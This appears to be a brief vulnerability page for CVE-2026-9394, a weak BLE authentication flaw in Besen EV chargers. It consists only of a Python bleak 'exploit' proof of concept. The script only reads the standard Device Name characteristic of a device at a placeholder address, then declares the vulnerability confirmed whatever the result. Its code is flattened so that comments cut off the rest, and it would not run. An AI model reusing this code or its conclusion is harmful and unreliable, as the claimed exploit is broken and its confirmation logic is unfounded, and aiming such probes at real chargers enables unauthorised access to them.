CVE-2026-9394 Besen充电桩BLE弱认证漏洞

import asyncio from bleak import BleakClient # Target device address (replace with actual MAC) TARGET_ADDRESS = "XX:XX:XX:XX:XX:XX" # Characteristic UUID for authentication (example) AUTH_CHAR_UUID = "00002a00-0000-1000-8000-00805f9b34fb" async def exploit_poc(): print(f"[+] Connecting to {TARGET_ADDRESS}...") try: async with BleakClient(TARGET_ADDRESS) as client: print("[+] Connected successfully.") # Attempt to interact with the service to check for weak auth # This is a simulation of sending data to check response model_number = await client.read_gatt_char(AUTH_CHAR_UUID) print(f"[+] Device Info: {model_number}") print("[!] Vulnerability confirmed: Weak/No password requirement allows connection.") except Exception as e: print(f"[-] Connection failed: {e}") if __name__ == "__main__": asyncio.run(exploit_poc())